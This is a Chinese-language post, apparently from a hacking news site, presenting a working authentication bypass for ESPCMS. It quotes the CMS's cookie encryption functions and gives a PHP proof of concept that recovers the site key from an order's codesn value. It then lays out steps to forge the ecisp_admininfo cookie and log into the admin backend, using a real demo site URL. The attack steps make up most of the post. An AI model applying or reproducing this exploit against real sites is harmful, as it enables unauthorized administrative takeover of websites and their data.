2019ESPCMS绕过后端登入漏洞

2019ESPCMS绕过后端登入漏洞

安全漏洞hacker2019-07-17 23:40:5014602A+A-

看看加解密函数

  1. function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {

  2. $result = null;

  3. if ($operation == 'ENCODE') {

  4. if (extension_loaded('mcrypt') && $mcrype) {

  5. $result = $this->encryptCookie($string, $key);

  6. } else {

  7. for ($i = 0; $i < strlen($string); $i++) {

  8. $char = substr($string, $i, 1);

  9. $keychar = substr($key, ($i % strlen($key)) - 1, 1);

  10. $char = chr(ord($char) + ord($keychar));

  11. $result.=$char;

  12. }

  13. $result = base64_encode($result);

  14. $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

  15. }

  16. } elseif ($operation == 'DECODE') {

  17. if (extension_loaded('mcrypt') && $mcrype) {

  18. $result = $this->decryptCookie($string, $key);

  19. } else {

  20. $data = str_replace(array('-', '_'), array('+', '/'), $string);

  21. $mod4 = strlen($data) % 4;

  22. if ($mod4) {

  23. $data .= substr('====', $mod4);

  24. }

  25. $string = base64_decode($data);

  26. for ($i = 0; $i < strlen($string); $i++) {

  27. $char = substr($string, $i, 1);

  28. $keychar = substr($key, ($i % strlen($key)) - 1, 1);

  29. $char = chr(ord($char) - ord($keychar));

  30. $result.=$char;

  31. }

  32. }

  33. }

  34. return $result;

  35. }

复制代码

比以前的多了一句话

  1. if (extension_loaded('mcrypt') && $mcrype) {

  2. $result = $this->encryptCookie($string, $key);

复制代码

如果存在 mcrypt模块且 $mcrype为true,则调用 encryptCookie进行加密,
看到encryptCookie

  1. function encryptCookie($value, $key = '@LFK24s224%@safS3s%1f%') {

  2. if (!$value) {

  3. return false;

  4. }

  5. $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);

  6. $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

  7. $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $value, MCRYPT_MODE_ECB, $iv);

  8. return trim(base64_encode($crypttext));

  9. }

复制代码

php自带的 加密函数。。给跪。
在对会员,后台等cookie操作进行 加密时 mcrype都是默认为true的,于是乎以前的 方法不行了。
但是,在 /interface/ordermain.php这个文件中,发现 加密时,竟然设置了mcrype为false。

  1. function in_read() {

  2. ............

  3. $payobj = new $plugcode();

  4. $codesn = $this->fun->eccode($plugcode . $read['ordersn'] . $oid, 'ENCODE', db_pscode, FALSE);

  5. $respondArray = array('code' => $plugcode, 'ordersn' => $read['ordersn'], 'oid' => $oid, 'codesn' => $codesn);

  6. $return_url = $this->get_link('paybackurl', $respondArray, admin_LNG, 0, 1);

  7. ..........

复制代码

我们可以 将这个 codesn 用以前的方法还原出 key。
后台检测管理员权限的代码如下

  1. if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)

复制代码

用得到的key加密

  1. 1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

复制代码

这个值,即可登入后台了。(password随意,注意admin_AGENT和admin_ClassURL别写错了。 )

首先,注册用户,购买个商品,来到查看订单的页面,审查元素,

  1. return_url=http://demo.ecisp.cn/html/cn/index.php?ac=respond&at=payok&codesn=ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw&code=alipay&ordersn=ESP-201502240614511702&oid=198

复制代码

return_url后面的就是我们需要的了。
填入 poc,

  1. $text = "明文"; //得到的字符串中,code,ordersn,oid 依次拼接的值

  2.   

  3. $cookie = "ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw"; //cookie

  4.   

  5. $bincookie = base64_decode($cookie);

  6.   

  7. for ($j=0; $j < strlen($text); $j++) { 

  8. echo chr( ord($bincookie[$j]) - ord($text[$j]) );

  9. }

复制代码

然后 将得到的key

  1. 5b16dd028ac5b2eabab6125A6A88B****

复制代码

用encryptCookie加密,修改 cookie ecisp_admininfo,即可登入后台


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 2条评论
  • 弦久倾酏2022-05-30 06:25:59
  • strlen($key)) - 1, 1);$char = chr(ord($char) - ord($keychar));$result.=$char;}}}return $result;}复制代码
  • 夙世只酷2022-05-30 11:31:07
  • ZmpyZ3hoanNsbw"; //cookie  $bincookie = base64_decode($cookie);  for ($j=0; $j < strlen($text); $j++) { 

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理